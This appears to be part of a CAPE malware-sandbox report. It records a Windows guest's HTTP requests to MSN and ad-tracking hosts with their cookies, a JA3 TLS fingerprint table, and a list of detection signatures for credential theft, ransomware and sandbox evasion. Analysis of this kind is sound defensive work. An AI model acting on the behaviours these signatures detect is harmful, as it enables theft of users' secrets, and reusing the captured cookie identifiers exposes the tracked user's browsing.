Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/S?jt(L@Bb$0m?uILOv%W_JZ>4R>uqf0F)1F`o1IK=[v@Ur1__k.F9P2L9>w30OhcR*`?3:u(wZV4`'y1d5XECX='cR*`%r]ol0kc#'JR4d[l0H7Q6sQ)WZ>_Bnm+c44_y?-7rp0Da9Wo73z+B#U=6+9w:HfW>b0YT8D(vWZW3Q9gnR:'jonjs+7a8+f$Eh2aIDCDhZOr]ry6nl-+>qno.YKMuoV2a2Zm*]WNdBPhUSb.4^tRDQ@-gP3kysM#6)[419%a@(n5U0>4#sm-ipS'Q>+6YsuyERvk#dv-$cr$!UA(YIGjAL>M*]!wPJ5IIC]bQZ?I9_tb$o%IFG)m-zoqBeVj%g3xs>oQ*C(wuk?>WAb4p6te:OS_6v@7KBfQBw0^iQ(@!M%2LIM<0G>F:46u2>2J+(tiz_U*I5J5VXHn`41eS+m#/VTTGT`aT:!Mk)<Fiuz*[*LBw]3MM%m$rIRfN_v+?.B4-]9RQiOkv5mEQ-.rr#?i9cTHKwT6MHrYsyA<L!mg9'ni'Ag2#>=Me_KXg(aE5)Rv^:x'BWQ*H8UF)Lq]shH$)vtBhx61-X+P(z%HS'$M%I$(FB`YGEa%-CW(!82W8[O%<SSJl9mEMHA[?eCWU.Q/]T:(8U)4kP4v[rdj##jD0WOcJ>+DkYwEIB8Zu7nQ?Pjq1o2-*Q?Po-Ej-Y?H!L7poTCXg?Mwf+8>*RWMUE`9$C@A+RQv_JtI-M0uAb's1Kg0QHKZ66te0S)KtBg$d5XJ16?U!gf7@H`u^Qx-68?+$wMpH9@N]oJeXL+yF]Wa)RIgF^d_.DRQQMnz@w_b8%5!g31x@>u_onaNgK2(4X-jgHswv27sEhWq#>oQ8_mBY<gJf'$a4<HqNA:GED8Yny'.QjJ1M?nz)b?EyRMd9A^GngS3BRvJx1W`L%E:#3NgpA$[8T3.JUXp=v*upOZVh>jonc?749eh+f?q#jrL)<P3Uo2c:-H=<OfrG!^s5BRy:N71CtH[BW[9<s=2^T3Bca<cu]?DQonx?=?cL:I7R]W=*fIoB
http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAxbOxA.img?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg
GET /img-resizer/tenant/amp/entityid/AAxbOxA.img?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
If-Modified-Since: Sat, 13 Oct 2018 22:22:34 GMT
DNT: 1
Connection: Keep-Alive

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnb7v3.img?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg
GET /img-resizer/tenant/amp/entityid/BBnb7v3.img?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
If-Modified-Since: Mon, 15 Oct 2018 10:30:21 GMT
DNT: 1
Connection: Keep-Alive

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBuroO1.img?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg
GET /img-resizer/tenant/amp/entityid/BBuroO1.img?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
If-Modified-Since: Mon, 15 Oct 2018 06:44:20 GMT
DNT: 1
Connection: Keep-Alive

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAngQM9.img?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg
GET /img-resizer/tenant/amp/entityid/AAngQM9.img?h=50&w=50&m=6&q=60&u=t&o=t&l=f&f=jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
If-Modified-Since: Mon, 15 Oct 2018 06:59:51 GMT
DNT: 1
Connection: Keep-Alive

http://otf.msn.com/c.gif?rid=9fd4eda86a954f1a8e448d3140f41e75&cts=1541071414589&idx=7&clid=0DACC1BA7F8E61DB2C93CDCD7E3960C2&issso=0&aadState=2&gesture=&viewType=size4column&di=16323&mkt=ar-eg&su=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&flightid=muidflt19cf%2Cmuidflt49cf%2Cmuidflt298cf%2Cbingmsncombined5cf%2Cpneedge2cf%2Cstarthp2cf%2Cbingcollabhp3cf%2Ccompliancehp1cf%2Cplatagyhz1cf%2Cplatagyhz2cf%2Caudexhz2cf%2Cgallery4cf%2Cgallery5cf&activityId=9fd4eda86a954f1a8e448d3140f41e75&cvs=Browser&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.p=prime&tmpl=EAggMo%3A0%3BIP%3ANone%3BRV%3ANone%3Binfopane%3A0%3Bcat%3A0%3BEP%3A0%3BCI%3A1%3BmIpH%3A2%3BmRvH%3A2&evt=mouseenter&cm=maincontent%3Econtent%3Emain&hl=Microsoft+Store&du=&e1=%7B%22i%22%3A28%2C%22p%22%3A25%2C%22n%22%3A%22meStripe.store%22%2C%22t%22%3A%22meStore2%22%2C%22o%22%3A3%7D&l=main%3EmeStripe%3EmeStripe.store&lo=1%3E3&TTI=7187&pb=
GET /c.gif?rid=9fd4eda86a954f1a8e448d3140f41e75&cts=1541071414589&idx=7&clid=0DACC1BA7F8E61DB2C93CDCD7E3960C2&issso=0&aadState=2&gesture=&viewType=size4column&di=16323&mkt=ar-eg&su=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&flightid=muidflt19cf%2Cmuidflt49cf%2Cmuidflt298cf%2Cbingmsncombined5cf%2Cpneedge2cf%2Cstarthp2cf%2Cbingcollabhp3cf%2Ccompliancehp1cf%2Cplatagyhz1cf%2Cplatagyhz2cf%2Caudexhz2cf%2Cgallery4cf%2Cgallery5cf&activityId=9fd4eda86a954f1a8e448d3140f41e75&cvs=Browser&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.p=prime&tmpl=EAggMo%3A0%3BIP%3ANone%3BRV%3ANone%3Binfopane%3A0%3Bcat%3A0%3BEP%3A0%3BCI%3A1%3BmIpH%3A2%3BmRvH%3A2&evt=mouseenter&cm=maincontent%3Econtent%3Emain&hl=Microsoft+Store&du=&e1=%7B%22i%22%3A28%2C%22p%22%3A25%2C%22n%22%3A%22meStripe.store%22%2C%22t%22%3A%22meStore2%22%2C%22o%22%3A3%7D&l=main%3EmeStripe%3EmeStripe.store&lo=1%3E3&TTI=7187&pb= HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: otf.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJhci1lZyIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZnItZnIiLCJDb3VudHJ5Q29kZSI6Ik1BIn19LCJFeHBpcnlUaW1lIjo2
http://otf.msn.com/c.gif?
POST /c.gif? HTTP/1.1
Accept: */*
Content-Type: application/json; charset=utf-8
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
Origin: http://www.msn.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: otf.msn.com
Content-Length: 911
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AArnQ63.img?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jpg
GET /img-resizer/tenant/amp/entityid/AArnQ63.img?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
DNT: 1
Connection: Keep-Alive

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBz3ebk.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
GET /img-resizer/tenant/amp/entityid/BBz3ebk.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
DNT: 1
Connection: Keep-Alive

http://ib.adnxs.com/getuid?//mid.rkdms.com/bct?pid=4fac3775-cbd2-4e15-b9be-3fe316e712c9&_ct=img&puid=$UID
GET /getuid?//mid.rkdms.com/bct?pid=4fac3775-cbd2-4e15-b9be-3fe316e712c9&_ct=img&puid=$UID HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://t.a3cloud.net/min.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: ib.adnxs.com
DNT: 1
Connection: Keep-Alive
Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/S?jt(L@Bb$0m?uILOm9')6k0V:[9ac+4S$I3x'PY(U0wV[t*_c@EsRWG`'xF3MQl#*^ZCbK::=ey[DhnHAAOMM5NpDW0B=(L_pm*%H5gKy$upxuG!eJ*Z7!GW8EpQjW=./raH-2.sVV!iO:8M[H7i4*i`tw?pHyN]4S6^Sjph'5aNz.>v]D->OkhMGq)tVBm$!7i*QA/puW#7!+P%^un5)x8uoV2S=ua)iWO1KOg=g8#J%:#ePw@ptUqjsINVa[4YrPQ^Q:KLdZlkY:-ipS$Q9_vN_DUWxpDhgQ-$Yx1#5wc5$yUXY=PBN'vI$j$o<C:uTc`TTgB2_%e=ouDv^9J#1ddP-Q[)l<<9ncb(bnfo`Rs*%*))9h9tUGJrRew4t^ohB.M8kUVkiyB>=9d#@<x-L^h+h[>MJ0xi`ADjwv*0*>giJe+gBD@AD]uI0`RDE8`prc8<ZZCq]0X]C`Dg:Jt7$P9h!_iuNTxSUY[Ipsg-+gM2o4)*vWK[)f3l4K@f:U:1W`QBxv*M4wI:KbPe9)5j8Z[V$5)#E`-qU6lR4b>gByB#LOFEv^qqZPMaQIh>E7<EQKZ.'u]f>LUGfUGIfbt5-jBL@=TKT2P%wlAexm)H].+O+i!s=!AUm#^aJPNf+mvE!o@<C*QT9BDlt):M)-S_Y<SG)j704>OSu#A[_7Ql9).-rMg2V#F?BSe%t#2!ap9dB2e!4=B38(p<yqgNi.D/<sTLW4H1.Oet$mUsA'd$B2V71gH!mo$>)eKMvgAy(pX@'a*dymQ^iPA=?IE*cB!=VhfMT0]/X:*JBKy(PGYhI<l`?+sod5%g(5IP1+bW'ZB]F@R$70BhU9j$afcR'*6^p`RP2l^y^`QR/nDOaq#M9bNt^f./$VutEo-5AOL)u'^3SRdQ_^BM=^F^a]Uc8BCJNwgm`'dK#bNT=Km7u66c^h64.Axd:DQ4$RT%6b`sqZ2l)<r6WA
http://otf.msn.com/c.gif?
POST /c.gif? HTTP/1.1
Accept: */*
Content-Type: application/json; charset=utf-8
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
Origin: http://www.msn.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: otf.msn.com
Content-Length: 955
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPckl2.img?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jpg&x=413&y=88
GET /img-resizer/tenant/amp/entityid/BBPckl2.img?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jpg&x=413&y=88 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
DNT: 1
Connection: Keep-Alive

http://mid.rkdms.com/bct?pid=4fac3775-cbd2-4e15-b9be-3fe316e712c9&_ct=img&puid=3420843456506940071
GET /bct?pid=4fac3775-cbd2-4e15-b9be-3fe316e712c9&_ct=img&puid=3420843456506940071 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://t.a3cloud.net/min.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
DNT: 1
Connection: Keep-Alive
Host: mid.rkdms.com

http://ping.chartbeat.net/ping?h=ar-eg.msn.com&p=%2Far-eg&u=BxpdvuD1Une9GQiG4&d=msn.com&g=42635&g0=homepage&g1=No%20Author&n=0&f=f8001&c=0.25&x=0&m=0&y=1592&o=1423&w=806&j=30&R=0&W=1&I=0&E=2&e=2&r=&b=781&t=CD6UctBMiBSiCZFY8hT_29H_0Te8&V=109&tz=0&_cdname=neurope&sn=2&sv=vcY0_BODKVMDad6xiNEMuIPVX6Z&sd=1&im=04032ef0&_
GET /ping?h=ar-eg.msn.com&p=%2Far-eg&u=BxpdvuD1Une9GQiG4&d=msn.com&g=42635&g0=homepage&g1=No%20Author&n=0&f=f8001&c=0.25&x=0&m=0&y=1592&o=1423&w=806&j=30&R=0&W=1&I=0&E=2&e=2&r=&b=781&t=CD6UctBMiBSiCZFY8hT_29H_0Te8&V=109&tz=0&_cdname=neurope&sn=2&sv=vcY0_BODKVMDad6xiNEMuIPVX6Z&sd=1&im=04032ef0&_ HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: ping.chartbeat.net
DNT: 1
Connection: Keep-Alive

http://otf.msn.com/c.gif?
POST /c.gif? HTTP/1.1
Accept: */*
Content-Type: application/json; charset=utf-8
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
Origin: http://www.msn.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: otf.msn.com
Content-Length: 714
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBP9CHx.img?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jpg&x=417&y=139
GET /img-resizer/tenant/amp/entityid/BBP9CHx.img?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jpg&x=417&y=139 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
DNT: 1
Connection: Keep-Alive

http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBP9IRq.img?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jpg&x=244&y=110
GET /img-resizer/tenant/amp/entityid/BBP9IRq.img?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jpg&x=244&y=110 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: static-global-s-msn-com.akamaized.net
DNT: 1
Connection: Keep-Alive

http://otf.msn.com/c.gif?
POST /c.gif? HTTP/1.1
Accept: */*
Content-Type: application/json; charset=utf-8
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
Origin: http://www.msn.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: otf.msn.com
Content-Length: 909
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache

http://otf.msn.com/c.gif?rid=9fd4eda86a954f1a8e448d3140f41e75&cts=1541071439160&idx=12&clid=0DACC1BA7F8E61DB2C93CDCD7E3960C2&issso=0&aadState=2&wbh=0&di=16323&mkt=ar-eg&su=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&flightid=muidflt19cf%2Cmuidflt49cf%2Cmuidflt298cf%2Cbingmsncombined5cf%2Cpneedge2cf%2Cstarthp2cf%2Cbingcollabhp3cf%2Ccompliancehp1cf%2Cplatagyhz1cf%2Cplatagyhz2cf%2Caudexhz2cf%2Cgallery4cf%2Cgallery5cf&activityId=9fd4eda86a954f1a8e448d3140f41e75&cvs=Browser&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.p=prime&evt=unload
GET /c.gif?rid=9fd4eda86a954f1a8e448d3140f41e75&cts=1541071439160&idx=12&clid=0DACC1BA7F8E61DB2C93CDCD7E3960C2&issso=0&aadState=2&wbh=0&di=16323&mkt=ar-eg&su=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&flightid=muidflt19cf%2Cmuidflt49cf%2Cmuidflt298cf%2Cbingmsncombined5cf%2Cpneedge2cf%2Cstarthp2cf%2Cbingcollabhp3cf%2Ccompliancehp1cf%2Cplatagyhz1cf%2Cplatagyhz2cf%2Caudexhz2cf%2Cgallery4cf%2Cgallery5cf&activityId=9fd4eda86a954f1a8e448d3140f41e75&cvs=Browser&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.p=prime&evt=unload HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: otf.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJhci1lZyIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZnItZnIiLCJDb3VudHJ5Q29kZSI6Ik1BIn19LCJFeHBpcnlUaW1lIjo2MzcwODE5ODUzMTUwMDI1ODMsIlZlcnNpb24iOjF90; amrexp=1; marketPref=ar-eg; _EDGE_V=1; MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; _SS=SID=00; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; ocid=iehp

SMTP traffic

No SMTP traffic performed.

IRC traffic

No IRC requests performed.

ICMP traffic

No ICMP traffic performed.

CIF Results

No CIF Results

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Suricata HTTP

No Suricata HTTP

Sorry! No dropped Suricata Extracted files.

JA3

Source Source Port Destination Destination Port JA3 Hash JA3 Description
192.168.3.158 49535 104.126.90.178 creative.mathads.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49536 104.126.90.178 creative.mathads.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49537 104.126.90.178 creative.mathads.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49511 104.20.208.21 pastebin.com 443 bafc6b01eae6f4350f5db6805ace208e Malware Test FP: mordor-from-seahomevb.top, nd-run-hookads-rig-ek-sends-drembot-with-post-infection-traffic
192.168.3.158 49582 108.177.15.132 tpc.googlesyndication.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49581 108.177.15.138 crl.pki.goog 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49554 108.177.15.154 googleads.g.doubleclick.net 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49569 108.177.15.154 googleads.g.doubleclick.net 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49451 108.177.15.94 fonts.gstatic.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49452 108.177.15.94 fonts.gstatic.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49453 108.177.15.94 fonts.gstatic.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49454 108.177.15.94 fonts.gstatic.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49455 108.177.15.94 fonts.gstatic.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49456 108.177.15.94 fonts.gstatic.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49490 108.177.15.94 fonts.gstatic.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49491 108.177.15.94 fonts.gstatic.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49492 108.177.15.94 fonts.gstatic.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49493 108.177.15.94 fonts.gstatic.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49494 108.177.15.94 fonts.gstatic.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49495 108.177.15.94 fonts.gstatic.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49482 108.177.15.95 fonts.googleapis.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49483 108.177.15.95 fonts.googleapis.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49484 108.177.15.95 fonts.googleapis.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49485 108.177.15.95 fonts.googleapis.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49501 108.177.15.95 fonts.googleapis.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49502 108.177.15.95 fonts.googleapis.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49503 108.177.15.95 fonts.googleapis.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49504 108.177.15.95 fonts.googleapis.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49555 131.253.33.203 sam.msn.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49556 131.253.33.203 sam.msn.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49553 151.101.2.2 cdn.taboola.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49619 152.199.19.161 iecvlist.microsoft.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49521 157.55.134.142 login.live.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49587 173.194.76.157 cm.g.doubleclick.net 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49585 185.31.128.129 p.rfihub.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49545 185.33.223.202 ams1-ib.adnxs.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49542 204.79.197.200 www.bing.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49543 204.79.197.200 www.bing.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49541 204.79.197.203 www.msn.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49531 23.222.67.85 sb.scorecardresearch.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49601 31.13.75.36 www.facebook.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49603 37.252.161.184 prebid.adnxs.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49605 37.252.161.184 prebid.adnxs.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49606 37.252.161.184 prebid.adnxs.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49608 37.252.161.184 prebid.adnxs.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49623 52.138.216.83 settings-win.data.microsoft.com 443 bafc6b01eae6f4350f5db6805ace208e Malware Test FP: mordor-from-seahomevb.top, nd-run-hookads-rig-ek-sends-drembot-with-post-infection-traffic
192.168.3.158 49593 64.233.166.156 pagead2.googlesyndication.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49618 64.233.166.156 pagead2.googlesyndication.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49578 64.233.167.147 www.google.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49580 64.233.167.147 www.google.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49552 64.233.167.157 adservice.google.com 443 d124ae14809abde3528a479fe01a12bd unknown
192.168.3.158 49586 66.155.71.189 pixel-sync.sitescout.com 443 d124ae14809abde3528a479fe01a12bd unknown
Sorry! No dropped files.
Sorry! No CAPE files.
Sorry! No process dumps.

Comments



No comments posted

Processing ( 1.69 seconds )

  • 1.68 NetworkAnalysis
  • 0.008 AnalysisInfo
  • 0.001 BehaviorAnalysis
  • 0.001 Debug

Signatures ( 0.07 seconds )

  • 0.022 recon_checkip
  • 0.007 antiav_detectreg
  • 0.006 network_torgateway
  • 0.004 ransomware_files
  • 0.003 persistence_autorun
  • 0.003 antiav_detectfile
  • 0.003 infostealer_ftp
  • 0.003 ransomware_extensions
  • 0.002 browser_security
  • 0.002 infostealer_bitcoin
  • 0.002 infostealer_im
  • 0.001 tinba_behavior
  • 0.001 rat_nanocore
  • 0.001 cerber_behavior
  • 0.001 antianalysis_detectfile
  • 0.001 antianalysis_detectreg
  • 0.001 antivm_vbox_files
  • 0.001 antivm_vbox_keys
  • 0.001 geodo_banking_trojan
  • 0.001 banker_zeus_url
  • 0.001 bot_drive
  • 0.001 disables_browser_warn
  • 0.001 infostealer_mail
  • 0.001 ie_martian_children

Reporting ( 0.0 seconds )

Task ID 86700
Mongo ID 5d407352f28488411ecbdf12
Cuckoo release 1.3-CAPE
Delete